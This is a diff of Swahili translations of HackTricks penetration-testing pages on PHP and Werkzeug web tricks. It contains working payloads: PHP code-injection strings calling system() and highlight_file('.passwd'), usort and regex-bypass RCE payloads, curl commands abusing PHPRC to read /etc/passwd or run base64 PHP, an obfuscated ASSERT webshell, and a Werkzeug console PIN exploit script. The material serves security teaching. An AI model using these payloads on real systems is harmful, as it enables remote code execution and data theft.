Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp `preg_match()` **inaangalia tu mstari wa kwanza wa ingizo la mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** ingizo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita ukaguzi huu. Mfano:
|
||||
Hata hivyo, wakati wa kuweka mipaka ya mwanzo wa regexp`preg_match()` **inaangalia tu mstari wa kwanza wa ingizo la mtumiaji**, kisha ikiwa kwa namna fulani unaweza **kutuma** ingizo katika **mistari kadhaa**, unaweza kuwa na uwezo wa kupita kipimo hiki. Mfano:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -125,17 +129,17 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP inategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo juu ya idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kutoshea kwenye stack.
|
||||
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP inategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo kwenye idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kinarudi kwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa kwenye stack.
|
||||
|
||||
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
|
||||
**Tuma input ambayo itafanya regex ifanye 100\_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irudishe `false` hivyo kufanya programu ifikirie kwamba input yetu si mbaya, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
|
||||
|
||||
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) inavyosema inarudiwa kuwa 1\_000\_000 (1M) katika variable `pcre.backtrack_limit`.\
|
||||
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) inavyosema inarudi kwa 1\_000\_000 (1M) katika variable `pcre.backtrack_limit`.\
|
||||
Ili kufikia hiyo, `'X'*500_001` itasababisha hatua milioni moja za backtracking (500k mbele na 500k nyuma):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### Aina ya Kucheza kwa obfuscation ya PHP
|
||||
### Aina ya Kucheza kwa Obfuscation ya PHP
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
|
@ -148,7 +152,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayopigwa baada ya kichwa `Location` kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
|
||||
Ikiwa PHP inarejelea kwenye ukurasa mwingine lakini hakuna **`die`** au **`exit`** kazi inayofanywa **baada ya kichwa `Location`** kuwekwa, PHP inaendelea kutekeleza na kuongezea data kwenye mwili:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -168,16 +172,16 @@ Check:
|
|||
|
||||
## More tricks
|
||||
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register\_globals** inaweza kuwa hai (au tabia zao zinaweza kuigwa). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Kwa hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha mabadiliko** yanayotumika ndani ya msimbo.
|
||||
* **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, kwa hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
|
||||
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nayo katika path2).
|
||||
* **register\_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register\_globals** inaweza kuwa hai (au tabia zao zinaweza kuigwa). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha mabadiliko** yanayotumika ndani ya msimbo.
|
||||
* **Kuk Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, hivyo ikiwa ndani ya eneo **kuk tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie kuk ya njia** kwa kuweka thamani ya kuk ya njia nyingine.\
|
||||
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa kuk jina linalolingana nalo katika path2).
|
||||
* Unapokuwa na **majina ya watumiaji** wa mashine. Angalia anwani: **/\~\<USERNAME>** ili kuona ikiwa saraka za php zimewezeshwa.
|
||||
* [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Hizi kazi hutumiwa kawaida katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Kwa hivyo, unapojaribu kuunda hash ya kitu kikubwa zaidi ya 72bytes kwa kutumia algorithimu hii, ni zile 72B za kwanza pekee zitakazotumika:
|
||||
Hizi kazi kwa kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
|
||||
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD\_DEFAULT mara nyingi ni sawa na PASSWORD\_BCRYPT.** Na kwa sasa, **PASSWORD\_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa zaidi ya 72bytes kwa kutumia algorithimu hii, ni zile 72B za kwanza pekee zitakazotumika:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -187,11 +191,11 @@ True
|
|||
```
|
||||
### HTTP headers bypass abusing PHP errors
|
||||
|
||||
#### Causing error after setting headers
|
||||
#### Kusababisha kosa baada ya kuweka vichwa
|
||||
|
||||
Kutoka [**hii thread ya twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) unaweza kuona kwamba kutuma zaidi ya 1000 GET params au 1000 POST params au faili 20, PHP haitakuwa ikipanga vichwa katika jibu.
|
||||
Kutoka [**thread hii ya twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) unaweza kuona kwamba kutuma zaidi ya 1000 GET params au 1000 POST params au faili 20, PHOP haitakuwa ikipanga vichwa katika jibu.
|
||||
|
||||
Inaruhusu kupita kwa mfano vichwa vya CSP vinavyopangwa katika misimbo kama:
|
||||
Inaruhusu kupita kwa mfano vichwa vya CSP vinavyowekwa katika misimbo kama:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -199,7 +203,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### Kujaza mwili kabla ya kuweka vichwa
|
||||
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maelezo yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu** kiasi kwamba inapojaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\
|
||||
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu** kiasi kwamba inapojaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\
|
||||
Katika hali ifuatayo, **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (kwa hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
@ -243,16 +247,16 @@ Kazi hii ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuata
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
You will need to **break** the code **syntax**, **add** your **payload**, and then **fix it again**. You can use **logic operations** such as "**and" or "%26%26" or "|"**. Note that "or", "||" doesn't work because if the first condition is true our payload won't get executed. The same way ";" doesn't work as our payload won't be executed.
|
||||
Unahitaji **kuvunja** sintaksia ya **kanuni**, **kuongeza** payload yako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" hazifanyi kazi kwa sababu ikiwa hali ya kwanza ni ya kweli payload yetu haitatekelezwa. Njia ile ile ";" haitafanya kazi kwani payload yetu haitatekelezwa.
|
||||
|
||||
**Other option** is to add to the string the execution of the command: `'.highlight_file('.passwd').'`
|
||||
**Chaguo lingine** ni kuongeza kwenye mfuatano utekelezaji wa amri: `'.highlight_file('.passwd').'`
|
||||
|
||||
**Other option** (if you have the internal code) is to modify some variable to alter the execution: `$file = "hola"`
|
||||
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya mabadiliko ili kubadilisha utekelezaji: `$file = "hola"`
|
||||
|
||||
### **RCE kupitia usort()**
|
||||
|
||||
This function is used to sort an array of items using an specific function.\
|
||||
To abuse this function:
|
||||
Kazi hii inatumika kupanga orodha ya vitu kwa kutumia kazi maalum.\
|
||||
Ili kutumia vibaya kazi hii:
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
VALUE: );phpinfo();#
|
||||
|
@ -277,7 +281,7 @@ You can also use **//** to comment the rest of the code.
|
|||
To discover the number of parenthesis that you need to close:
|
||||
|
||||
* `?order=id;}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ';'`). Huenda tunakosa moja au zaidi ya mabano.
|
||||
* `?order=id);}//`: tunapata **onyo**. Hii inaonekana kuwa sawa.
|
||||
* `?order=id);}//`: tunapata **onyo**. Hiyo inaonekana sawa.
|
||||
* `?order=id));}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ')' i`). Huenda tuna mabano ya kufunga mengi kupita kiasi.
|
||||
|
||||
### **RCE kupitia .httaccess**
|
||||
|
@ -290,14 +294,14 @@ Different .htaccess shells can be found [here](https://github.com/wireghoul/htsh
|
|||
|
||||
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hii env variable inaruhusu kupakia maktaba za kawaida unapoendesha binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
|
||||
* **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **mahali pa kupata faili yake ya usanidi**, ambayo kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwenye hiyo. Ongeza **`auto_prepend_file`** kuingiza faili la pili ulilopakia. Faili hii ya pili ina **PHP code ya kawaida, ambayo kisha inatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili la PHP linalo zawisha shellcode yetu
|
||||
2. Pakia faili la pili, linalo na **`auto_prepend_file`** maagizo yanayoelekeza preprocessor ya PHP kutekeleza faili tulilopakia katika hatua ya 1
|
||||
3. Weka variable `PHPRC` kwenye faili tulilopakia katika hatua ya 2.
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hii env variable inaruhusu upakue maktaba za kawaida unapoendesha binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
|
||||
* **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **mahali pa kupata faili yake ya usanidi**, ambayo kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwenye hiyo. Ongeza **`auto_prepend_file`** kuingiza faili ya pili iliyopakiwa. Faili hii ya pili ina **PHP code ya kawaida, ambayo kisha inatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
|
||||
1. Pakia faili ya PHP inayoshikilia shellcode yetu
|
||||
2. Pakia faili ya pili, inayoshikilia maagizo ya **`auto_prepend_file`** ikielekeza preprocessor ya PHP kutekeleza faili tulilopakia katika hatua ya 1
|
||||
3. Weka variable ya `PHPRC` kwenye faili tulilopakia katika hatua ya 2.
|
||||
* Pata maelezo zaidi kuhusu jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - chaguo lingine
|
||||
* Ikiwa huwezi **kupakia faili**, unaweza kutumia katika FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
|
||||
* **PHPRC** - chaguo jingine
|
||||
* Ikiwa huwezi **upload files**, unaweza kutumia katika FreeBSD "file" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Au kupata RCE, wezesha **`allow_url_include`** na uongeze faili yenye **base64 PHP code**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
|
@ -326,7 +330,7 @@ phpinfo();
|
|||
```
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**Katika chapisho hili**](https://blog.redteam-pentesting.de/2024/moodle-rce/) inawezekana kupata mawazo mazuri ya kuunda msimbo wa PHP wa brain fuck ukiwa na herufi chache tu zinazoruhusiwa.\
|
||||
[**Katika chapisho hili**](https://blog.redteam-pentesting.de/2024/moodle-rce/) inawezekana kupata mawazo mazuri ya kuunda msimbo wa brain fuck PHP kwa herufi chache sana zinazoruhusiwa.\
|
||||
Zaidi ya hayo, pia inashauriwa njia ya kuvutia ya kutekeleza kazi ambazo ziliruhusu kupita ukaguzi kadhaa:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
|
@ -339,11 +343,11 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
Ikiwa unarekebisha programu ya PHP unaweza kuweka wazi uchapishaji wa makosa kwa kuongeza `display_errors = On` katika `/etc/php5/apache2/php.ini` na kuanzisha upya apache: `sudo systemctl restart apache2`
|
||||
Ikiwa unarekebisha programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa ujumla katika`/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache : `sudo systemctl restart apache2`
|
||||
|
||||
### Kuondoa ufichaji wa PHP
|
||||
### Kuondoa ufichuzi wa msimbo wa PHP
|
||||
|
||||
Unaweza kutumia **web**[ **www.unphp.net**](http://www.unphp.net) **kuondoa ufichaji wa msimbo wa php.**
|
||||
Unaweza kutumia **web**[ **www.unphp.net**](http://www.unphp.net) **kuondoa ufichuzi wa msimbo wa php.**
|
||||
|
||||
## PHP Wrappers & Protocols
|
||||
|
||||
|
@ -464,9 +468,13 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -17,7 +17,9 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & upimaji wa pen**. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi wapimaji wa pentest - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -50,18 +52,18 @@ To exploit the console PIN, two sets of variables, `probably_public_bits` and `p
|
|||
#### **`probably_public_bits`**
|
||||
|
||||
* **`username`**: Inahusu mtumiaji aliyeanzisha kikao cha Flask.
|
||||
* **`modname`**: Kawaida hupewa jina `flask.app`.
|
||||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Kawaida inatatua kuwa **Flask**.
|
||||
* **`modname`**: Kawaida inaitwa `flask.app`.
|
||||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Kawaida inasababisha **Flask**.
|
||||
* **`getattr(mod, '__file__', None)`**: Inawakilisha njia kamili ya `app.py` ndani ya directory ya Flask (mfano, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Ikiwa `app.py` haihusiki, **jaribu `app.pyc`**.
|
||||
|
||||
#### **`private_bits`**
|
||||
|
||||
* **`uuid.getnode()`**: Inapata anwani ya MAC ya mashine ya sasa, huku `str(uuid.getnode())` ikitafsiri kuwa muundo wa desimali.
|
||||
* Ili **kubaini anwani ya MAC ya server**, mtu lazima atambue interface ya mtandao inayotumika na app (mfano, `ens3`). Katika hali za kutokuwa na uhakika, **vuja `/proc/net/arp`** ili kupata kitambulisho cha kifaa, kisha **toa anwani ya MAC** kutoka **`/sys/class/net/<device id>/address`**.
|
||||
* Mabadiliko ya anwani ya MAC ya hexadecimal kuwa desimali yanaweza kufanywa kama inavyoonyeshwa hapa chini:
|
||||
* **`uuid.getnode()`**: Inapata anwani ya MAC ya mashine ya sasa, na `str(uuid.getnode())` inabadilisha kuwa muundo wa desimali.
|
||||
* Ili **kubaini anwani ya MAC ya server**, mtu lazima atambue interface ya mtandao inayotumika na app (mfano, `ens3`). Katika hali za kutokuwa na uhakika, **leak `/proc/net/arp`** ili kupata kitambulisho cha kifaa, kisha **toa anwani ya MAC** kutoka **`/sys/class/net/<device id>/address`**.
|
||||
* Kubadilisha anwani ya MAC ya hexadecimal kuwa desimali kunaweza kufanywa kama inavyoonyeshwa hapa chini:
|
||||
|
||||
```python
|
||||
# Mfano wa anwani ya MAC: 56:00:02:7a:23:ac
|
||||
# Example MAC address: 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
|
@ -109,9 +111,9 @@ try:
|
|||
```
|
||||
</details>
|
||||
|
||||
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuunda PIN ya konsoli ya Werkzeug:
|
||||
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug:
|
||||
|
||||
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuunda PIN ya konsoli ya Werkzeug. Skripti inatumia `probably_public_bits` na `private_bits` zilizokusanywa ili kuunda hash, ambayo kisha inapitia mchakato zaidi ili kutoa PIN ya mwisho. Hapa chini kuna msimbo wa Python wa kutekeleza mchakato huu:
|
||||
Baada ya kukusanya data zote muhimu, skripti ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug. Skripti inatumia `probably_public_bits` na `private_bits` zilizokusanywa ili kuunda hash, ambayo kisha inapitia mchakato zaidi ili kutoa PIN ya mwisho. Hapa chini kuna msimbo wa Python wa kutekeleza mchakato huu:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
|
@ -167,7 +169,7 @@ Ikiwa uko kwenye **toleo la zamani** la Werkzeug, jaribu kubadilisha **algorithm
|
|||
|
||||
Kama ilivyobainishwa katika [**tatizo hili**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug haifungi ombi lenye wahusika wa Unicode katika vichwa. Na kama ilivyoelezwa katika [**andika hii**](https://mizu.re/post/twisty-python), hii inaweza kusababisha udhaifu wa CL.0 Request Smuggling.
|
||||
|
||||
Hii ni kwa sababu, Katika Werkzeug inawezekana kutuma wahusika wengine wa **Unicode** na itafanya seva **kuvunjika**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombio la HTTP linalofuata**.
|
||||
Hii ni kwa sababu, Katika Werkzeug inawezekana kutuma wahusika wengine wa **Unicode** na itafanya seva **ivunjike**. Hata hivyo, ikiwa muunganisho wa HTTP ulianzishwa na kichwa **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utaonekana kama **ombio la HTTP linalofuata**.
|
||||
|
||||
## Automated Exploitation
|
||||
|
||||
|
@ -182,13 +184,15 @@ Hii ni kwa sababu, Katika Werkzeug inawezekana kutuma wahusika wengine wa **Unic
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Instantly available setup for vulnerability assessment & penetration testing**. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,75 +1,79 @@
|
|||
# Other Web Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
